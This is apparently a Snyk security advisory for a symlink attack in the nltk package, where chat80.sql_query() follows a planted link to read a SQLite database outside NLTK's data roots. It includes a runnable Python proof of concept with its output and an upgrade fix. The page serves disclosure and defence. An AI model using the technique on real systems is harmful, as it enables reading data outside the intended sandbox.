Symlink Attack Affecting nltk package, versions [3.9.4,3.10.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.2% (6th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Symlink Attack vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-NLTK-22733164
  • published22 Nov 2026
  • disclosed16 Nov 2026
  • creditzx, Daniel Coles

Introduced: 16 Nov 2026

NewCVE-2026-126302  (opens in a new tab)
CWE-22  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Symlink Attack via nltk.sem.chat80.sql_query(), which passes the result of nltk.data.find(dbname) directly to sqlite3.connect() without invoking the pathsec containment check. nltk.data.find() applies only lexical checks to the resource name and returns a FileSystemPathPointer whose path is normalized with os.path.abspath but never resolved for symlinks. An attacker who can place a symbolic link inside a directory registered as an NLTK data root can point it at a SQLite database outside every registered root, and when sql_query() is called for that resource name, SQLite follows the link and returns rows from the out-of-sandbox database, escaping the pathsec confidentiality boundary.

PoC

Requires the published nltk 3.10.3 wheel and a writable directory registered as an NLTK data root. No network access is needed.

  1. Create a throwaway data root with the expected corpus subdirectory.
  2. Create a SQLite database outside that root and populate it.
  3. Plant an in-root symbolic link at corpora/city_database/city.db pointing at the outside database.
  4. Register the data root and call sql_query() for the in-root resource name.
import os, tempfile, sqlite3, nltk, nltk.data
from nltk.sem import chat80

work = tempfile.mkdtemp() root = os.path.join(work, "nltk_data") corp = os.path.join(root, "corpora", "city_database") os.makedirs(corp)

secret = os.path.join(work, "outside", "secret.db") os.makedirs(os.path.dirname(secret)) con = sqlite3.connect(secret) con.execute("CREATE TABLE t (x text)") con.execute("INSERT INTO t VALUES ('OUT-OF-SANDBOX-SECRET')") con.commit(); con.close()

os.symlink(secret, os.path.join(corp, "city.db")) nltk.data.path.insert(0, root)

ptr = nltk.data.find("corpora/city_database/city.db") try: ptr.open().read() # pathsec route: blocked except Exception as e: print("open() blocked:", type(e).name)

cur = chat80.sql_query("corpora/city_database/city.db", "SELECT * FROM t") print("sql_query rows:", cur.fetchall()) # sink route: follows the symlink

open() blocked: PermissionError
sql_query rows: [('OUT-OF-SANDBOX-SECRET',)]

Note: Requires the published nltk 3.10.3 wheel and a writable directory registered as an NLTK data root; no network access is needed.

References

CVSS Base Scores

version 4.0
version 3.1